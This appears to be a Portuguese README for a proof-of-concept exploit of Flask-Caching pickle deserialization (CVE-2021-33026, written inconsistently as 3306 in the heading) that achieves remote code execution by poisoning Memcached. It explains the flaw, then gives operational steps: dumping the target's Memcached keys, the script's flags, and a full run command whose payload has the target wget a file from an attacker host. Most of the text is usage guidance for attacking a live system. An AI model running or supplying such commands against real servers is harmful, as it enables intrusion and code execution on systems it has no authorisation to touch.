
Execução Remota de Código por Serialização Pickle - Envenenamento de Memcached
Exploração de Execução Remota de Código por Serialização Pickle - PoC de Envenenamento de Memcached
O que é CVE-2021-3306?
"A extensão Flask-Caching até a versão 1.10.1 para Flask depende do Pickle para serialização, o que pode levar à execução remota de código ou escalada local de privilégios. Se um invasor obtiver acesso ao armazenamento de cache (por exemplo, sistema de arquivos, Memcached, Redis, etc.), ele pode construir um payload malicioso, envenenar o cache e executar código Python."
Qual é a função da biblioteca Pickle?
"Pickle em Python é usado principalmente para serializar e desserializar uma estrutura de objeto Python. Em outras palavras, é o processo de converter um objeto Python em um fluxo de bytes para armazená-lo em um arquivo/banco de dados, manter o estado do programa entre sessões ou transportar dados pela rede."
O que é Memcached?
"Memcached é um sistema de cache distribuído de propósito geral. É frequentemente usado para acelerar sites dinâmicos baseados em banco de dados, armazenando em cache dados e objetos na RAM para reduzir o número de vezes que uma fonte de dados externa precisa ser lida."
[!] Exploração:
1. Para que o exploit funcione, é necessário fornecer um cookie de sessão. Por quê? Nesta prova de conceito, temos um caso onde o cookie de sessão de uma aplicação Flask vulnerável está sendo gerenciado ou armazenado pelo serviço memcached:
memcdump --servers=target_machine_ip_address

2. Uso do Exploit:
-h --> menu de ajuda
--cmd --> Comando a ser executado na máquina alvo
--rhost --> Endereço IP da máquina alvo
--rport --> Porta da máquina alvo
--cookie --> SEU COOKIE DE SESSÃO ATUAL da aplicação Flask VULNERÁVEL. Exemplo: session:58e61600-9ecf-45b8-b7b8-db2f0a00f421
3. Executando o exploit:
python3 cve-2021-33026_PoC.py --rhost $target_machine_ip_address --rport $target_machine_port --cmd "wget $attacker_ip/picke_memcached_posisoning_exploit" --cookie "session:58e61600-9ecf-45b8-b7b8-db2f0a00f421"

Referência: